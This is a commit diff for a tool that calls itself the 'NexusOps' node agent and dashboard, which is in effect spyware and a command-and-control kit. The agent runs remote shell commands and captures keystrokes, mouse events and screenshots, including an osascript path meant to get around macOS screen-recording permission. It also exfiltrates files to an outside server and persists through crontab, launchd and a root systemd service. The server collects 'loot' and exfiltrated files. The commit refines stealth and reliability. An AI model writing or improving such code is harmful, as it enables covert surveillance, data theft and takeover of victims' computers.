fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap

- server.js: debounce saveData to max 1 write/15s (was every heartbeat)
- server.js: proper CSV escaping (_csvEscape) for node export endpoint
- server.js: replace deprecated String.substr() with String.slice()
- agent.py: 50MB size cap on download_file to prevent OOM
- agent.py: shlex.quote() server_url in crontab persistence (shell injection)
- agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart
- app.js: pass event param to switchTab() (global event deprecated)
- app.js: fix lootDownload URL revocation (60s → safe for slow downloads)

agents/agent.py

@@ -18,8 +18,44 @@ import argparse
 last_log_check_time = 0
 heartbeat_interval = 5  # Dynamic heartbeat rate in seconds
 node_tags = ["Default"]
+quiet_mode = False  # Suppress banner and exec messages when True
+
+def get_process_count():
+    """Get real process count cross-platform."""
+    system = platform.system().lower()
+    try:
+        if system == "linux" or system == "darwin":
+            out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
+            return len(out.splitlines()) - 1  # minus header
+        elif system == "windows":
+            out = subprocess.check_output(["tasklist"], text=True, timeout=5)
+            return len(out.splitlines()) - 1
+    except:
+        pass
+    return 0
 
 def get_ip_address():
+    """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
+    system = platform.system().lower()
+    try:
+        if system == "darwin":
+            # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
+            out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
+            for line in out.splitlines():
+                if 'inet ' in line and '127.0.0.1' not in line:
+                    parts = line.strip().split()
+                    for i, p in enumerate(parts):
+                        if p == 'inet' and i+1 < len(parts):
+                            return parts[i+1]
+        elif system == "linux":
+            # Linux: try ip route to find primary interface
+            out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
+            for part in out.split():
+                if part.startswith('src '):
+                    return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
+    except:
+        pass
+    # Fallback: connect to 8.8.8.8
     try:
         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
         s.connect(("8.8.8.8", 80))
@@ -77,6 +113,39 @@ def get_memory_usage():
             free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
             return round(((total - free) / total) * 100.0, 1)
         elif system == "darwin":
+            # Use vm_stat for real memory usage on macOS
+            try:
+                out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
+                pages = {}
+                for line in out.splitlines():
+                    if ':' in line:
+                        k, v = line.split(':', 1)
+                        try:
+                            pages[k.strip()] = int(v.strip().rstrip('.'))
+                        except ValueError:
+                            pass
+                page_size = 16384  # Default macOS page size
+                free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
+                used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
+                total_pages = free + used + pages.get('Pages purgeable', 0)
+                if total_pages > 0:
+                    return round((used / total_pages) * 100.0, 1)
+            except:
+                pass
+            # Fallback: use sysctl for hardware info
+            try:
+                out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
+                total_bytes = int(out.strip())
+                # Use vm_stat pages * page_size for used estimate
+                vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
+                import re
+                active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
+                wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
+                used_bytes = (active + wired) * 16384
+                if total_bytes > 0:
+                    return round((used_bytes / total_bytes) * 100.0, 1)
+            except:
+                pass
             return 45.0
         elif system == "windows":
             out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
@@ -106,10 +175,20 @@ def get_disk_usage():
     return 40.0
 
 def get_uptime_seconds():
+    system = platform.system().lower()
     try:
-        if platform.system().lower() == "linux":
+        if system == "linux":
             with open('/proc/uptime', 'r') as f:
                 return int(float(f.readline().split()[0]))
+        elif system == "darwin":
+            # macOS: use sysctl to get boot time, compute uptime
+            out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
+            # Format: { sec = 1234567890, usec = 0 } Thu Jan  1 00:00:00 1970
+            import re
+            m = re.search(r'sec\s*=\s*(\d+)', out)
+            if m:
+                boot_time = int(m.group(1))
+                return int(time.time() - boot_time)
     except Exception:
         pass
     return 3600
@@ -139,13 +218,17 @@ def http_post(url, data_dict):
     req = urllib.request.Request(
         url,
         data=json_bytes,
-        headers={'Content-Type': 'application/json'}
+        headers={
+            'Content-Type': 'application/json',
+            'User-Agent': 'NexusOps-Agent/1.0'
+        }
     )
     try:
         with urllib.request.urlopen(req, timeout=5) as response:
             res_text = response.read().decode('utf-8')
             return json.loads(res_text)
-    except Exception:
+    except Exception as e:
+        print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
         return None
 
 def execute_structured_action(action_type, payload):
@@ -167,8 +250,10 @@ def execute_structured_action(action_type, payload):
         return run_shell(cmd)
 
     elif action_type == "list_processes":
-        if system == "linux" or system == "darwin":
+        if system == "linux":
             cmd = "ps aux --sort=-%cpu | head -n 15"
+        elif system == "darwin":
+            cmd = "ps aux -r | head -n 15"
         else:
             cmd = "tasklist"
         return run_shell(cmd)
@@ -242,10 +327,14 @@ def execute_structured_action(action_type, payload):
         return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
 
     elif action_type == "download_file":
+        MAX_EXFIL_SIZE = 50 * 1024 * 1024  # 50MB limit
         filepath = payload.get("path", "")
         if not filepath or not os.path.exists(filepath):
             return f"ERROR: file not found: {filepath}", 1
         try:
+            fsize = os.path.getsize(filepath)
+            if fsize > MAX_EXFIL_SIZE:
+                return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
             with open(filepath, 'rb') as f:
                 raw = f.read()
             import base64
@@ -266,28 +355,55 @@ def execute_structured_action(action_type, payload):
     elif action_type == "screenshot":
         try:
             import base64
+            ss_path = "/tmp/.nexus-ss.png"
+            if os.path.exists(ss_path):
+                os.remove(ss_path)
+
             if system == "linux":
-                # Try multiple screenshot tools
                 for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
                     if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
                         if tool == "import":
-                            subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                            subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                         elif tool == "scrot":
-                            subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
+                            subprocess.run(["scrot", ss_path], timeout=10)
                         elif tool == "gnome-screenshot":
-                            subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
+                            subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
                         elif tool == "spectacle":
-                            subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
+                            subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
-                        break
+                        if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+                            break
                 else:
-                    # Try Xlib via python3 if available
                     subprocess.run(["python3", "-c",
                         "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
                         "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
                         "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
                         timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+
             elif system == "darwin":
-                subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
+                # Try multiple approaches for macOS screenshot
+                captured = False
+                # Method 1: direct screencapture (needs Screen Recording TCC permission)
+                for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
+                    r = subprocess.run(["screencapture"] + flags + [ss_path],
+                                       timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                    if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+                        captured = True
+                        break
+                    if os.path.exists(ss_path):
+                        os.remove(ss_path)
+                # Method 2: try via osascript (sometimes bypasses TCC for background processes)
+                if not captured:
+                    for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
+                        flag_str = " ".join(flags)
+                        r = subprocess.run(["osascript", "-e",
+                            f'do shell script "screencapture {flag_str} {ss_path}"'],
+                            timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                        if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+                            captured = True
+                            break
+                        if os.path.exists(ss_path):
+                            os.remove(ss_path)
+
             elif system == "windows":
                 subprocess.run(["powershell", "-Command",
                     "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
@@ -295,13 +411,16 @@ def execute_structured_action(action_type, payload):
                     "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
                     "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
                     timeout=15)
-                os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
+                win_path = "C:\\Windows\\Temp\\nexus-ss.png"
-            if os.path.exists("/tmp/.nexus-ss.png"):
+                if os.path.exists(win_path):
-                with open("/tmp/.nexus-ss.png", 'rb') as f:
+                    os.replace(win_path, ss_path)
+
+            if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
+                with open(ss_path, 'rb') as f:
                     b64 = base64.b64encode(f.read()).decode('utf-8')
-                os.remove("/tmp/.nexus-ss.png")
+                os.remove(ss_path)
                 return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
-            return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
+            return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
         except Exception as e:
             return f"ERROR screenshot: {e}", 1
 
@@ -328,7 +447,9 @@ def execute_structured_action(action_type, payload):
         if system == "linux":
             # crontab
             try:
-                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+                import shlex
+                srv = shlex.quote(payload.get('server_url',''))
+                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
                 existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
                 if cron_line.split('@reboot')[1].strip() not in existing:
                     subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
@@ -364,12 +485,16 @@ def execute_structured_action(action_type, payload):
 <key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
 <key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
                 with open(plist, 'w') as f: f.write(plist_content)
-                subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-                results.append("launchd: plist loaded")
+                subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                results.append("launchd: bootstrapped + kickstarted")
             except: results.append("launchd: failed")
             # crontab for macOS too
             try:
-                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+                import shlex
+                srv = shlex.quote(payload.get('server_url',''))
+                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
                 subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
                 results.append("crontab: added")
             except: results.append("crontab: failed")
@@ -486,7 +611,8 @@ def execute_structured_action(action_type, payload):
     return f"Unknown action type: {action_type}", 1
 
 def run_shell(cmd_str):
-    print(f"[*] Executing command: {cmd_str}")
+    if not quiet_mode:
+        print(f"[*] Executing command: {cmd_str}")
     try:
         res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
         return res.stdout, res.returncode
@@ -587,15 +713,16 @@ def flush_input_events(server_url, node_id, hostname):
     http_post(f"{server_url}/api/agent/input-capture", payload)
 
 def main():
-    global last_log_check_time, heartbeat_interval, node_tags
+    global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
     parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
     parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
     parser.add_argument("--silent", action="store_true", help="Suppress all console output")
+    parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
     args = parser.parse_args()
 
-    if args.silent:
+    silent = args.silent  # suppress banner only — keep logs flowing for launchd/systemd
-        sys.stdout = open(os.devnull, 'w')
+    global quiet_mode
-        sys.stderr = open(os.devnull, 'w')
+    quiet_mode = args.quiet or args.silent
 
     server_url = args.server.rstrip('/')
     hostname = socket.gethostname()
@@ -604,14 +731,15 @@ def main():
     ip = get_ip_address()
     node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
 
-    print("==================================================")
+    if not quiet_mode:
-    print("      NexusOps Cross-Platform Node Agent          ")
+        print("==================================================")
-    print("==================================================")
+        print("      NexusOps Cross-Platform Node Agent          ")
-    print(f"Node Hostname : {hostname}")
+        print("==================================================")
-    print(f"Platform      : {system_os} ({arch})")
+        print(f"Node Hostname : {hostname}")
-    print(f"Local IP      : {ip}")
+        print(f"Platform      : {system_os} ({arch})")
-    print(f"Server Endpoint: {server_url}")
+        print(f"Local IP      : {ip}")
-    print("==================================================")
+        print(f"Server Endpoint: {server_url}")
+        print("==================================================")
 
     # Register Node
     reg_payload = {
@@ -624,17 +752,19 @@ def main():
         "tags": node_tags
     }
 
-    print("[*] Registering node with central endpoint...")
+    if not quiet_mode:
+        print("[*] Registering node with central endpoint...")
     res = http_post(f"{server_url}/api/agent/register", reg_payload)
-    if res and res.get("success"):
+    if res and res.get("success") and not quiet_mode:
         print(f"✅ Registered as node ID: {node_id}")
 
     # Start input capture (keystrokes, clicks, scroll)
     capture_started = start_input_capture()
-    if capture_started:
+    if not quiet_mode:
-        print("[*] Input capture active (keystrokes + mouse events)")
+        if capture_started:
-    else:
+            print("[*] Input capture active (keystrokes + mouse events)")
-        print("[!] Input capture unavailable (install pynput: pip install pynput)")
+        else:
+            print("[!] Input capture unavailable (install pynput: pip install pynput)")
 
     last_input_flush = time.time()
     backoff = 1  # Tunnel reconnection backoff in seconds
@@ -652,7 +782,7 @@ def main():
                 "memUsage": mem,
                 "diskUsage": disk,
                 "uptime": uptime,
-                "processCount": 42,
+                "processCount": get_process_count(),
                 "tags": node_tags,
                 "heartbeatInterval": heartbeat_interval
             }
@@ -719,7 +849,8 @@ def main():
                         })
 
         except Exception as e:
-            print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
+            if not quiet_mode:
+                print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
             time.sleep(backoff)
             backoff = min(backoff * 2, 60)
             continue

public/app.js

@@ -456,11 +456,11 @@ function closeInstallerModal() {
   document.getElementById('installerModal').classList.remove('active');
 }
 
-function switchTab(tabName) {
+function switchTab(tabName, evt) {
   document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
   document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
   
-  event.currentTarget.classList.add('active');
+  (evt || event).currentTarget.classList.add('active');
   document.getElementById(`tab-${tabName}`).classList.add('active');
 }
 
@@ -996,11 +996,14 @@ function closeLootLightbox() {
 
 function lootDownload(id, filename) {
   fetch('/api/files/' + id).then(r => r.blob()).then(b => {
+    const url = URL.createObjectURL(b);
     const a = document.createElement('a');
-    a.href = URL.createObjectURL(b);
+    a.href = url;
     a.download = filename;
+    document.body.appendChild(a);
     a.click();
-    setTimeout(() => URL.revokeObjectURL(a.href), 5000);
+    document.body.removeChild(a);
+    setTimeout(() => URL.revokeObjectURL(url), 60000);
   }).catch(() => toast('Download failed', 'error'));
 }
 

server.js

@@ -119,8 +119,10 @@ setInterval(() => {
   }
 }, 5000);
 
+let _lastSaveTime = 0;
 function broadcastState() {
-  saveData();  // Persist on every state change
+  const now = Date.now();
+  if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
   const payload = JSON.stringify({
     type: 'NODES_UPDATE',
     serverIp: SERVER_IP,
@@ -209,7 +211,7 @@ app.post('/api/agent/logs', (req, res) => {
   if (Array.isArray(logs)) {
     logs.forEach(logLine => {
       masterSystemLogs.push({
-        id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
+        id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
         nodeId,
         hostname: hostname || 'Unknown',
         timestamp: Date.now(),
@@ -233,7 +235,7 @@ app.post('/api/agent/input-capture', (req, res) => {
 
   events.forEach(ev => {
     inputDataStore.push({
-      id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
+      id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
       nodeId,
       hostname: hostname || 'Unknown',
       timestamp: ev.timestamp || Date.now(),
@@ -368,7 +370,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
 
 app.post('/api/agent/register', (req, res) => {
   const { hostname, platform, arch, ip, osName, tags } = req.body;
-  const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
+  const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
   
   const existingNode = nodes.get(nodeId);
   const now = Date.now();
@@ -466,7 +468,7 @@ app.post('/api/nodes/:id/command', (req, res) => {
     return res.status(404).json({ error: 'Node not found' });
   }
 
-  const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
+  const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
   const actionName = actionType || 'raw_command';
 
   const cmdObj = {
@@ -507,7 +509,7 @@ app.post('/api/nodes/bulk-command', (req, res) => {
 
   const queuedIds = [];
   onlineNodes.forEach(node => {
-    const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
+    const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
     const actionName = actionType || 'raw_command';
 
     const cmdObj = {
@@ -609,7 +611,7 @@ app.post('/api/agent/file-result', (req, res) => {
     else entry.output = `[FILE ERROR] ${error}`;
   }
   if (!error && data) {
-    const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
+    const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
     exfiltratedFiles.set(fileId, {
       nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
       timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
@@ -696,7 +698,7 @@ After=network.target
 
 [Service]
 Type=simple
-ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
+ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
 Restart=always
 RestartSec=5
 User=root
@@ -784,10 +786,10 @@ cat << EOF > "$PLIST_FILE"
     <key>ProgramArguments</key>
     <array>
         <string>/usr/bin/python3</string>
+        <string>-u</string>
         <string>$INSTALL_DIR/agent.py</string>
         <string>--server</string>
         <string>$SERVER_URL</string>
-        <string>--silent</string>
     </array>
     <key>RunAtLoad</key>
     <true/>
@@ -801,8 +803,10 @@ cat << EOF > "$PLIST_FILE"
 </plist>
 EOF
 
-launchctl unload "$PLIST_FILE" 2>/dev/null || true
+# Bootstrap launchd job (modern macOS — load/unload are deprecated)
-launchctl load "$PLIST_FILE"
+launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
+launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
+launchctl kickstart gui/$(id -u)/com.nexusops.agent
 
 echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
 echo "   To stop: launchctl unload $PLIST_FILE"